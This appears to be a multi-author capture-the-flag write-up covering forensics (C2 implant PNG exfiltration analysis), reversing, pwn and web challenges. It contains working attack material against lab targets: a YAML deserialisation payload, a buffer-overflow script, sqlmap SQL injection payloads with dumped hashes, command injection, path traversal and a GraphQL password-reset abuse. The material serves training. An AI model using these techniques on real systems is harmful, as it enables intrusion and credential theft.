stuff = decrypted[16:].split(b'\x00')[0]
plaintext = b64decode(stuff).decode()
print(plaintext)
output :
- At the very start we can see the
multicmd loadmodule
command, these are found in the implant source code
- this is followed by another blob and ends with :
- The blob turned out to be a SharpSploit DLL
- Moving forward we get our first POST query which is uploading first PNG to the c2 server :
- Notice
Malformed
, lets go back to the source :
public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
{
if (string.IsNullOrEmpty(key))
{
key = pKey;
}
string cookie = Encryption(key, taskId);
string text = "";
text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
byte[] cmdoutput = Convert.FromBase64String(text);
byte[] imgData = ImgGen.GetImgData(cmdoutput);
int num = 0;
while (num < 5)
{
num++;
try
{
GetWebRequest(cookie).UploadData(UrlGen.GenerateUrl(), imgData);
num = 5;
}
catch
{
}
}
}
- Exec function is responsible for handling command output and PNG uploading
- First it creates an encrypted cookie which contains task ID
- Then it encrypts the command output
- Decodes the base64 cipher string and calls
ImgGen
function - Then it runs a loop to upload the PNG, if any error occurs then the loop increments and upload is re attempted until file is uploaded perfectly
- Now lets look into
ImgGen
:
internal static class ImgGen
{
private static Random _rnd = new Random();
private static Regex _re = new Regex("(?<=\")[^\"]*(?=\")|[^\" ]+", (RegexOptions)8);
private static List<string> _newImgs = new List<string>();
internal static void Init(string stringIMGS)
{
IEnumerable<string> enumerable = Enumerable.Select<Match, string>(Enumerable.Cast<Match>((IEnumerable)_re.Matches(stringIMGS.Replace(",", ""))), (Func<Match, string>)((Match m) => ((Capture)m).get_Value()));
enumerable = Enumerable.Where<string>(enumerable, (Func<string, bool>)((string m) => !string.IsNullOrEmpty(m)));
_newImgs = Enumerable.ToList<string>(enumerable);
}
private static string RandomString(int length)
{
return new string(Enumerable.ToArray<char>(Enumerable.Select<string, char>(Enumerable.Repeat<string>("...................@..........................Tyscf", length), (Func<string, char>)((string s) => s[_rnd.Next(s.Length)]))));r
}
internal static byte[] GetImgData(byte[] cmdoutput)
{
int num = 1500;
int num2 = cmdoutput.Length + num;
string s = _newImgs[new Random().Next(0, _newImgs.Count)];
byte[] array = Convert.FromBase64String(s);
byte[] bytes = Encoding.UTF8.GetBytes(RandomString(num - array.Length));
byte[] array2 = new byte[num2];
Array.Copy(array, 0, array2, 0, array.Length);
Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length, cmdoutput.Length);
return array2;
}
}
- This function gets a random PNG out of the array it fetched from the c2 server
- Then it proceeds to build the PNG file
- First the PNG data
- Second, it generates a random string based on
...................@..........................Tyscf
charset - Third, it adds the encrypted command output
- Finally it concatenates all three parts and returns a malicious PNG
- Based on this information we can isolate the command output section in the PNGs
- Implant makes 6 POST requests i.e. 6 attempts at uploading a perfect PNG :
First PNG :
- The three parts are clearly visible, actual PNG finishes at
IEND
followed by random string and a small encrypted command output - But the implant made 6 requests, I tried to decrypt the data of each PNG but it did not work
One tiny detail
- Going back to
Encryption
function, it contains a block :
if (comp)
{
array = Compress(array);
}
- and in
Exec
whereEncryption
is called we have :
text = ((encByte == null) ? Encryption(key, cmd, comp: true) : Encryption(key, null, comp: true, encByte));
comp
is set toTrue
which means the encrypted command output is first compressed and then added to the PNG!- Compression function :
private static byte[] Compress(byte[] raw)
{
//IL_0009: Unknown result type (might be due to invalid IL or missing references)
//IL_000f: Expected O, but got Unknown
using MemoryStream memoryStream = new MemoryStream();
GZipStream val = new GZipStream((Stream)memoryStream, (CompressionMode)1, true);
try
{
((Stream)(object)val).Write(raw, 0, raw.Length);
}
finally
{
((IDisposable)val)?.Dispose();
}
return memoryStream.ToArray();
}
- GZip compression is used to compress the encrypted command output
- Going back to wireshark, the sixth, last PNG is largest in size and I assumed that first 5 requests failed to upload a perfect PNG and the next sixth request succeeded
- Isolating command output :
- Start is set to 1500 following the
ImgGen
code which uses a fixed size of 1500, PNG data and random string is isolated and we are left with compressed encrypted command output - I made modifications in my decryption script to de-compress the encrypted data before attempting decryption :
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import zlib
iv = b'Kettie/Emmie/Ann'
with open('../sixth_png.data', 'rb') as cipherfile:
ctext = cipherfile.read()
ciphertext = ctext
key = b64decode('nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=')
# key = b64decode('DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=')
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(pad(ciphertext, 128))
enc_text = zlib.decompress(decrypted[16:], 15+32)
dec_enc_text = b64decode(enc_text)
with open('flag', 'wb') as out:
out.write(dec_enc_text)
And I got the flag! look at top right
hardware
Timed Transmission
Solved by: WarlordSam
Challenge description
This hardware challenge is pretty straight-forward. We are given a .sal file which has captured data.
We can use Logic Analyzer (https://www.saleae.com/downloads/) to view this .sal file. The flag is printed as banner made up of 5 Message fragments .
Critical Flight
Solved by: warlordsam
Challenge description
Similar to Timed Transmission, the flag is directly visible to us when we open the .zip folder in GerbView Software (https://www.gerbview.com/download.html).
First part of the Flag is visible directly when all the layers of the PCB board are set to be visible.
Selecting and unselecting, layer by layer; we can get the rest part of the flag too.
ml
Reconfiguration
Solved by : Bobbysox
Challenge description
Reconfiguration As Pandora set out on her quest to find the ancient alien relic, she knew that the journey would be treacherous. The desert was vast and unforgiving, and the harsh conditions would put her cyborg body to the test. Pandora started by collecting data about the temperature and humidity levels in the desert. She used a scatter plot in an Orange Workspace file to visualize this data and identified the areas where the temperature was highest and the humidity was lowest. Using this information, she reconfigured her sensors to better withstand the extreme heat and conserve water. But, a second look at the data revealed something otherwordly, it seems that the relic’s presence beneath the surface has scarred the land in a very peculiar way, can you see it?
We are provided with two files for this. An OWS file, and a .CSV file. After some googling I found out that .ows files can be run in a program called “Orange”
From here it was honestly just a matter of toying with it. The csv file is a data table, so I chose the data table option and linked it to the scatter plot. This ultimately revealed the flag.
misc
Persistence
Solved by Legend
Challenge description
Thousands of years ago, sending a GET request to /flag would grant immense power and wisdom. Now it’s broken and usually returns random data, but keep trying, and you might get lucky… Legends say it works once every 1000 tries.
In this challenge we are given IP
along with Port Number
to connect to the challenge and retrieve the flag using the GET
request.
Initially checking the URL it gave something gibberish.
The hint of the challenge was that the /flag
works once in 1000 tries. So I made a loop to do the same.
for i in `seq 1 1000`; do curl -s http://68.183.45.143:31981/flag | grep -i "HTB" ; done
And after running for sometime it gave the flag.
Restricted
Solved by Legend
Challenge description
You ‘re still trying to collect information for your research on the alien relic. Scientists contained the memories of ancient egyptian mummies into small chips, where they could store and replay them at will. Many of these mummies were part of the battle against the aliens and you suspect their memories may reveal hints to the location of the relic and the underground vessels. You managed to get your hands on one of these chips but after you connected to it, any attempt to access its internal data proved futile. The software containing all these memories seems to be running on a restricted environment which limits your access. Can you find a way to escape the restricted environment ?
In this challenge we are given SSH shell escape to get the flag.
Going through the docker file we can get some info of what configuration is done to the challenge
-
The shell is set to
rbash
which basically means restricted bash.RUN chown -R restricted:restricted /home/restricted
-
The flag file will have some random value appended to it as written in the config
RUN mv /flag.txt /flag_
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1
Since it is a SSH escape challenge I remembered that I have solved a challenge like this before so first thing I did was to check if we can execute remote code without opening the SSH shell.
It worked!! So now all I had to do was look for the flag file name as it gets changed and cat it.
We got the flag.
Hijack
Solved by Starry-Lord
Connect with nc to the docker instance, then create a config and decode the base 64. We can see it gives back YAML syntax so we can try to inject commands with subprocess.Popen:
After base64 encoding it, and using the “Load config” option, This worked!
!!python/object/apply:subprocess.Popen
- ls
I had to dig a little more to find how to give arguments to the command:
!!python/object/apply:subprocess.Popen
- !!python/tuple
- ls
- -la
And solved:
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- flag.txt
Remote Computation
Solved by : thewhiteh4t
#!/usr/bin/env python3
from pwn import *
host = '188.166.152.84'
port = 30603
conn = remote(host, port)
conn.recvuntil(b'>').decode()
conn.send(b'1\n')
for x in range(500):
ques_line = conn.recv().decode()
ques = ques_line.split(': ')[1].split(' = ?')[0]
try:
ans = round(eval(ques), 2)
if ans < -1337.00 or ans > 1337.00:
print('Got Memory Error')
ans = 'MEM_ERR'
except SyntaxError:
print('Got Syntax Error')
ans = 'SYNTAX_ERR'
except ZeroDivisionError:
print('Got Zero Error')
ans = 'DIV0_ERR'
ans = str(ans).encode()
conn.sendline(ans)
print(f'Answered {x} questions')
print(conn.recvuntil(b'}').decode())
pwn
Initialise Connection
Solved by Legend
Challenge description
In order to proceed, we need to start with the basics. Start an instance, connect to it via $ nc e.g. nc 127.0.0.1 1337 and send “1” to get the flag.
This challenge is basically how to connect to netcat
and the instructions are given in the description itself. I just followed it and got the flag.
Questionnaire
Solved by Legend
Challenge description
It’s time to learn some things about binaries and basic c. Connect to a remote server and answer some questions to get the flag.
In this challenge we are given a binary along with it’s source code test.c
Executing the binary asks for a payload which we don’t have so I looked into the C code that was provided.
Going through the C code we can see that the flag is in the gg()
function but it’s never called from either main()
or vuln()
function so we can not get the flag from this. And there is also the comment stating that we need to connect to the challenge with netcat.
Once connected it shows that there will be simple questionnaire to get the flag along with theory of information required to solve a simple binary challenge.
The 0x1 question is to check the bit for the binary . We already ran file
on the binary and got the answer that is 64-bit
.
In 0x2 question is to check the linking of the binary. Again using the file
command we can get the answer that is dynamic
.
In 0x3 it’s asking it’s stripped or not stripped binary. Again using file
and the answer is not stripped
.
In 0x4 they are asking the protections enabled in the binary. Using checksec
we can get the answer NX
.
In 0x5 the are asking the custom function getting called in main()
. We saw from the code that it’s vuln()
.
In 0x6 it’s asking the size of the buffer. Answer is 0x20
which is written in the C code.
In 0x7 it’s asking the function which never get’s called. The answer is gg()
as we saw initially.
In 0x8 it’s asking the name of function which could trigger Buffer Overflow. Answer is fgets()
written in the C code.
In 0x9 it’s asking after how many input of bytes the Segmentation fault will occur. Answer is 40
we can manually test it by giving the input to the binary.
In 0xa question they are asking the address of the function gg
. We can get this using p gg
and the answer is 0x401176
.
Once we enter the final answer it will print out the flag.
Getting Started
Solved by Legend
Challenge description
Get ready for the last guided challenge and your first real exploit. It’s time to show your hacking skills.
In this challenge a challenge binary is given and a wrapper.py
file is given the code for buffer overflow.
Executing the binary shows the Stack frame layout.
After that it shows the stack with Address and Value along with indicators to where is the start of the buffer and what is the Target that needs to be changed.
Then it shows what happens if we put A’s and B’s as input.
Then it asks us to enter A’s to get change the value in Target. I placed 40 A’s and it grave the testing flag.
Now same can we done in the given script to automate this.
#wrapper.py#!/usr/bin/python3.8
'''
You need to install pwntools to run the script.
To run the script: python3 ./wrapper.py
'''
# Library
from pwn import *
# Open connection
IP = '165.232.98.69' # Change this
PORT = 32238 # Change this
r = remote(IP, PORT)
# Craft payload
payload = b'A' * 40 # Change the number of "A"s
# Send payload
r.sendline(payload)
# Read flag
success(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}')
Running the script gave the flag.
re
Shattered Tablet
Solved by Starry-Lord
This challenge gave an ELF file so after basic identification, I tried to run it. When you run the file the tablet asks for an input and returns “no, not that”:
I decided to fire up ghidra, hopefully looking for what the expected input could be, what it would be compared against or anything relevant. Sure enough, by checking the main function, I found this code “explicitly” showing it was expecting the flag as input.
undefined8 main(void)
{
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
printf("Hmmmm... I think the tablet says: ");
fgets((char *)&local_48,0x40,stdin);
if (((((((((local_30._7_1_ == 'p') && (local_48._1_1_ == 'T')) && (local_48._7_1_ == 'k')) &&
((local_28._4_1_ == 'd' && (local_40._3_1_ == '4')))) &&
((local_38._4_1_ == 'e' && ((local_40._2_1_ == '_' && ((char)local_48 == 'H')))))) &&
(local_28._2_1_ == 'r')) &&
((((local_28._3_1_ == '3' && (local_30._1_1_ == '_')) && (local_48._2_1_ == 'B')) &&
(((local_30._5_1_ == 'r' && (local_48._3_1_ == '{')) &&
((local_30._2_1_ == 'b' && ((local_48._5_1_ == 'r' && (local_40._5_1_ == '4')))))))))) &&
(((local_30._6_1_ == '3' &&
(((local_38._3_1_ == 'v' && (local_40._4_1_ == 'p')) && (local_28._1_1_ == '1')))) &&
(((local_30._3_1_ == '3' && (local_38._1_1_ == 'n')) &&
(((local_48._4_1_ == 'b' && (((char)local_28 == '4' && (local_40._1_1_ == 'n')))) &&
((char)local_38 == ',')))))))) &&
((((((((char)local_40 == '3' && (local_48._6_1_ == '0')) && (local_38._7_1_ == 't')) &&
((local_40._7_1_ == 't' && ((char)local_30 == '0')))) &&
((local_40._6_1_ == 'r' && ((local_28._5_1_ == '}' && (local_38._5_1_ == 'r')))))) &&
(local_38._6_1_ == '_')) && ((local_38._2_1_ == '3' && (local_30._4_1_ == '_')))))) {
puts("Yes! That\'s right!");
}
else {
puts("No... not that");
}
return 0;
}
From this code we can understand that chars get reassembled following the order of the undefined8 locals to form the flag. It starts at ((char)local_48 == ‘H’) and local_28.5_1 == ‘}’ is where it ends, so after a bit of tidying we could retrieve the following string:
HTB{br0k3n_4p4rt,n3ver_t0_b3_r3p41r3d}
((char)local_48 == 'H')
(local_48._1_1_ == 'T'))
(local_48._2_1_ == 'B'))
(local_48._3_1_ == '{'))
local_48._4_1_ == 'b'
((local_48._5_1_ == 'r'
(local_48._6_1_ == '0'))
(local_48._7_1_ == 'k'))
...
Hunting License
Solved by Avantika(@iamavu)
STOP! Adventurer, have you got an up to date relic hunting license? If you don’t, you’ll need to take the exam again before you’ll be allowed passage into the spacelanes!
We are provided a binary called license
and a docker instance support to get the flag from the server
This challenge just essentially tests out your basics so pretty straight-forward walkthrough
When you run the binary you are greeted with a following prompt
press y
and move forward
so essentially we have to crack some passwords, alright time to CTRL+C
and check what binary is and what it does
First thing I like to do is run checksec
to check how binary is configured
We get following and the the thing that surprise is it doesn’t have PIE enabled
Which means the binary will be loaded at same place in memory everytime and it’s not randomized every time you load the binary. Coolio! Let’s fire up the binary-dragon, ghidra and check what’s the code doing. We got our function names intact, so going to the main function
it checks if we are ready or not and then runs exam()
function which is the juicy function
let’s have a look at the exam()
function
well, looks pretty big but it’s checking with strcmp()
if we enter the right value or not
first one is literally in the code, so the first password is pretty simple - PasswordNumeroUno
Second password is something reversed, now I could technically reverse it from the code/ghidra but let’s do the smart work and run the binary in gdb (pwndbg) and set a breakpoint at the address of where it asks us for the second password. How and why can we do that, simple - NO PIE (read more about it if you are unfamiliar)
Copy the address from the ghidra for the statement where it asks us for the password, set the breakpoint (break *0xAddress
) and hit run!
As we can see in the disassembly we can see the register holding the second compare value which is 0wTdr0wss4P
, but reversed i.e. P4ssw0rdTw0
which is our second password.
Let’s have look at final password by the same trick we did above. Find the address from the ghidra, set breakpoint, and hit run and see the stack this time!
As we can see the rsp pointing towards the address containing our password which is ThirdAndFinal!!!
Which does means that we solved but we need to do some couple of extra answers to question to solve it.
Let’s go one by one
1. ELF, as this is a linux binary
2. Check architecture by running `file` command on this binary
3. run `ldd` to see the libraries used for various purposes
4. Get the address of the main function from ghidra
5. Check main function’s disassembly in ghidra and see how many puts call are there
6. Password One, we have it
7. Reversed form of Password Two
8. Password Two, we have it
9. Check the `exam()` function and in the `xor` statement, the fourth parameter in decimal form is our answer to this question
10. Password Three, we have it
We get our flag - HTB{l1c3ns3_4cquir3d-hunt1ng_t1m3!}
as always keep hacking : D
Needle in a Haystack
Solved by Legend
Challenge description
You’ve obtained an ancient alien Datasphere, containing categorized and sorted recordings of every word in the forgotten intergalactic common language. Hidden within it is the password to a tomb, but the sphere has been worn with age and the search function no longer works, only playing random recordings. You don’t have time to search through every recording - can you crack it open and extract the answer?
In this challenge we are given a ELF 64-bit executable file.
The challenge hint said that the password is hidden within
so first thing I did was run the strings
command to check if something is there and found the flag.
She Shells C Shells
Solved by warlordsam
Challenge description
In this challenge we are given a ELF 64-bit LSB pie executable (not stripped).
Using ghidra , we can get the flag. Open the binary in CodeBrowser and find the function called func_flag.
Observing the code snippet from the func_flag ; we can see that it uses memcmp to compare the user input and stored bits.
fgets((char *)&local_118,0x100,stdin);
for (local_c = 0; local_c < 0x4d; local_c = local_c + 1) {
*(byte *)((long)&local_118 + (long)(int)local_c) =
*(byte *)((long)&local_118 + (long)(int)local_c) ^ m1[(int)local_c];
}
local_14 = memcmp(&local_118,t,0x4d);
if (local_14 == 0) {
for (local_10 = 0; local_10 < 0x4d; local_10 = local_10 + 1) {
*(byte *)((long)&local_118 + (long)(int)local_10) =
*(byte *)((long)&local_118 + (long)(int)local_10) ^ m2[(int)local_10];
}
printf("Flag: %s\n",&local_118);
uVar1 = 0;
}
else {
uVar1 = 0xffffffff;
}
return uVar1;
}
There are three arrays m1, m2 and t that we need to look at. The user input is stored in m1 array and compared with the t array which is a stored block of password starting at memory address:0x55fb06ae0200 to check if we got the correct input. It performs XOR on each bit of both arrays.
To get the flag; We can directly see hex values of t and m2 in memcmp. Total length is 77 characters. Each bit of t and m2 undergo XOR to form a flag with format of HTB{
Copying all the hex values present in t and m2; and performing XOR using online calculator: https://xor.pw/ we can obtain the flag.
For Example: bits in t and m2 respectively are:
1. t: 2c 4a b7
2. m2 : 64 1e f5
Flag : HTB….so on
web
Gunhead
Solved by Legend
Challenge description
During Pandora’s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.
We are provided with a URL and docker file for the challenge.
The website running showing the status report of the combat robot along with a command prompt to run some commands.
Going through the docker file I found a hint.
Here shell_exec
is running which runs a command in a shell and returns the result of the output. And the hint suggested that it’s not sanitized so we can try to escape it and run shell commands.
It worked. So now we can simply read the flag.
Drobots
Solved by Legend
Challenge description
Pandora’s latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?
In this challenge the website is showing a login page.
Since no other info was there or in the source code of the page I checked the docker config file.
The website is a Flask
application running on MySQL
so I thought of SQL Injection cand be done. Here I found interesting thing that in config.py
file they have provided the database information.
Also in the database.py
also they have given the hint that the input is not sanitized.
The logic of the database is that we need the token
of the password to login. So if we can find the token we can login.
Then I saved the login request and gave it to sqlmap
though which I was able to extract the details.
sqlmap -r ./req --dbms=mysql -D drobots -T users --dump
---
Parameter: JSON username ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"username":"a"="a" AND (SELECT 5866 FROM(SELECT COUNT(*),CONCAT(0x7162717071,(SELECT (ELT(5866=5866,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "a"="a","password":"a"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"username":"a"="a" AND (SELECT 4022 FROM (SELECT(SLEEP(5)))iMan) AND "a"="a","password":"a"}
---
+----+----------------------------------+----------+
| id | password | username |
+----+----------------------------------+----------+
| 1 | 67772d6e54bc393a6f67e16bac3f83da | admin |
+----+----------------------------------+----------+
Once logged in we get the flag.
Orbital
Solved by Legend
Challenge description
In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?
In this challenge also a login page is their.
And with no user info or details in source code I checked the docker files.
This challenge is similar to the Drobots
challenge. It’s running Flask
application with MySQL
. So I looked into the docker file.
The config.py
contains the database config info.
And database.py
contain the database logic along with the hint but it is modified a little.
This time the password
is getting verified with passwordVerify
.
I again saved the request and gave it to sqlmap
which gave me the token and also bruteforced the password.
sqlmap -r ./req --dbms=mysql -D orbital -T users --dump
---
Parameter: JSON username ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: {"username":"a"="a" AND (SELECT 2720 FROM(SELECT COUNT(*),CONCAT(0x716a7a6271,(SELECT (ELT(2720=2720,1))),0x71786a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "a"="a","password":"a"}
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"username":"a"="a" AND (SELECT 1000 FROM (SELECT(SLEEP(5)))dfxy) AND "a"="a","password":"a"}
---
+----+-------------------------------------------------+----------+
| id | password | username |
+----+-------------------------------------------------+----------+
| 1 | 1692b753c031f2905b89e7258dbc49bb (ichliebedich) | admin |
+----+-------------------------------------------------+----------+
Now once logged in the functionality of the website was different.
Now I checked the routes.py
file which contained a logic of the application. Here in the logic of communication the hint was given that the file escape for characters are not there for the filename.
Then I tried the path traversal to get the /etc/passwd
file. It worked.
For this challenge they changed the location of the flag name from flag.txt
to signal_sleuth_firmware
in root which is written in the docker config.
COPY flag.txt /signal_sleuth_firmware
Now we need to get the flag.
Trapped Source
Solved by Starry-Lord
When we open the devtools and check the network tab, we can already catch a script.js:
script.js content:
currentPin = []
const checkPin = () => {
pin = currentPin.join('')
if (CONFIG.correctPin == pin) {
fetch('/flag', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
'pin': CONFIG.correctPin
})
})
.then((data) => data.json())
.then((res) => {
$('.lockStatus').css('font-size', '8px')
$('.lockStatus').text(res.message)
})
return
}
$('.lockStatus').text('INVALID!')
setTimeout(() => {
reset()
}, 3000)
}
const unlock = (pin) => {
currentPin.push(pin)
if (currentPin.length > 4) return
$('.lockStatus').text(currentPin.join(' '))
}
const reset = () => {
currentPin.length = 0
$('.lockStatus').css('font-size', 'x-large')
$('.lockStatus').text('LOCKED')
}
We can see some code that checks for a 4 digit pin and fetches the flag, depending on the pin being equal to the value of “CONFIG.correctPin” or not. Switching to the console, we can try and log the “CONFIG”, to see what comes back:
Typing the correct pin and pressing enter returns our flag:
Passman
Solved by Starry-Lord
This app meets us with another login page, where we can also register an account.
Checking the network tab actually showed a familiar name:
We can go to https://ivangoncharov.github.io/graphql-voyager/ in order to grab the infamous introspection query for graphql, which essentially returns all the content of the graphql schema. Click on “change schema”, then select the introspection tab and click on “Copy Introspection Query” to get the query to your clipboard.
Now we need to send it to this graphql endpoint but since its set to accept strings, we need to get rid of the new lines:
Then sending the request through BurpSuite’s repeater tab to the /graphql endpoint returns the full introspection as expected:
With this data, we can go back to the graphql voyager tool and paste it in the box below the “Copy introspection query” button. This will give us a good sense of what data is built into this endpoint:
There’s nothing much about this Query, except returning the phrases owned by the logged user. But there were actual “Mutation” queries used when logging in, registering a new user, or adding a new phrase. It turned out there was another function (or mutation) allowing us to change a supplied user password, which seems like a bad thing to leave laying around unused.
UpdatePassword was the ticket to the flag, but first we needed to syntax it properly. I gladly used the content of the login graphql request shown below:
From there it was just a matter of editing the request properly and updating the admin password with a cool password:
After logging in with the admin account and the new password, we can see the flag in the password of the note:
HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}